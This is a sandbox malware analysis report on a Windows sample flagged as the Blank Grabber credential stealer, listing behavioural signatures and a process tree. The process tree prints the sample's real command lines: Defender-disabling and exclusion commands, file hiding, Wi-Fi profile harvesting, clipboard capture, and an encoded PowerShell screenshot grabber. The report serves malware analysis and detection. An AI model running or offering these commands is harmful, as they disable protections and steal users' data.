Edit tour

Windows Analysis Report
KpHYfxnJs6.exe

Overview

General Information

Sample name:	KpHYfxnJs6.exe renamed because original name is a hash value
Original sample name:	6a595507f7b92e6af81d2c67f310629a552de261ed6e6e2a2170b71a7503ed31.exe
Analysis ID:	1584305
MD5:	41b147fd16a94a8ea6164177cf91733c
SHA1:	f586388782d636b286ef606de997087f451fe11f
SHA256:	6a595507f7b92e6af81d2c67f310629a552de261ed6e6e2a2170b71a7503ed31
Tags:	exeuser-zhuzhu0009
Infos:

Detection

Blank Grabber

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Yara detected Blank Grabber

Yara detected Telegram RAT

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

Check if machine is in data center or colocation facility

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Modifies Windows Defender protection settings

Modifies existing user documents (likely ransomware behavior)

Modifies the hosts file

PE file contains section with special chars

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Removes signatures from Windows Defender

Self deletion via cmd or bat file

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Powershell Defender Disable Scan Feature

Sigma detected: Rar Usage with Password and Compression Level

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious Ping/Del Command Combination

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious Startup Folder Persistence

Suspicious powershell command line found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses attrib.exe to hide files

Uses cmd line tools excessively to alter registry or file data

Uses netsh to modify the Windows network and firewall settings

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Writes or reads registry keys via WMI

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Compiles C# or VB.Net code

Contains capabilities to detect virtual machines

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Sigma detected: Powershell Defender Exclusion

Sigma detected: SCR File Write Event

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious Screensaver Binary File Creation

Stores files to the Windows start menu directory

Too many similar processes found

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

KpHYfxnJs6.exe (PID: 7320 cmdline: "C:\Users\user\Desktop\KpHYfxnJs6.exe" MD5: 41B147FD16A94A8EA6164177CF91733C)

KpHYfxnJs6.exe (PID: 7732 cmdline: "C:\Users\user\Desktop\KpHYfxnJs6.exe" MD5: 41B147FD16A94A8EA6164177CF91733C)

cmd.exe (PID: 7964 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\KpHYfxnJs6.exe'" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8108 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\KpHYfxnJs6.exe' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 7972 cmdline: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8152 cmdline: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 7988 cmdline: C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('VERISON NOT SUPPORT (WAIT FOR UPDATE)', 0, 'CLOSING ALL APPS FOR BOTNET', 0+16);close()"" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mshta.exe (PID: 8168 cmdline: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('VERISON NOT SUPPORT (WAIT FOR UPDATE)', 0, 'CLOSING ALL APPS FOR BOTNET', 0+16);close()" MD5: 06B02D5C097C7DB1F109749C45F3F505)

cmd.exe (PID: 8052 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 3668 cmdline: tasklist /FO LIST MD5: 0A4448B31CE7F83CB7691A2657F330F1)

cmd.exe (PID: 6960 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 4476 cmdline: wmic csproduct get uuid MD5: E2DE6500DE1148C7F6027AD50AC8B891)

cmd.exe (PID: 7560 cmdline: C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 2212 cmdline: REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

cmd.exe (PID: 1852 cmdline: C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7672 cmdline: REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

cmd.exe (PID: 7668 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 5924 cmdline: wmic path win32_VideoController get name MD5: E2DE6500DE1148C7F6027AD50AC8B891)

cmd.exe (PID: 3808 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 6384 cmdline: wmic path win32_VideoController get name MD5: E2DE6500DE1148C7F6027AD50AC8B891)

cmd.exe (PID: 6780 cmdline: C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\Desktop\KpHYfxnJs6.exe"" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 1888 cmdline: attrib +h +s "C:\Users\user\Desktop\KpHYfxnJs6.exe" MD5: 0E938DD280E83B1596EC6AA48729C2B0)

cmd.exe (PID: 6472 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ??.scr'" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1208 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ??.scr' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 1640 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 984 cmdline: tasklist /FO LIST MD5: 0A4448B31CE7F83CB7691A2657F330F1)

cmd.exe (PID: 1784 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 2140 cmdline: tasklist /FO LIST MD5: 0A4448B31CE7F83CB7691A2657F330F1)

cmd.exe (PID: 3904 cmdline: C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 3888 cmdline: WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName MD5: E2DE6500DE1148C7F6027AD50AC8B891)

cmd.exe (PID: 4280 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2124 cmdline: powershell Get-Clipboard MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 3652 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 736 cmdline: tasklist /FO LIST MD5: 0A4448B31CE7F83CB7691A2657F330F1)

cmd.exe (PID: 3104 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7472 cmdline: tree /A /F MD5: 7E896B29B309DE74A72DEC7D59715EFD)

cmd.exe (PID: 7832 cmdline: C:\Windows\system32\cmd.exe /c "systeminfo" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 5088 cmdline: systeminfo MD5: 36CCB1FFAFD651F64A22B5DA0A1EA5C5)

cmd.exe (PID: 7492 cmdline: C:\Windows\system32\cmd.exe /c "netsh wlan show profile" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 4888 cmdline: netsh wlan show profile MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

cmd.exe (PID: 5728 cmdline: C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 6352 cmdline: REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

cmd.exe (PID: 4588 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7048 cmdline: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA= MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

csc.exe (PID: 8096 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

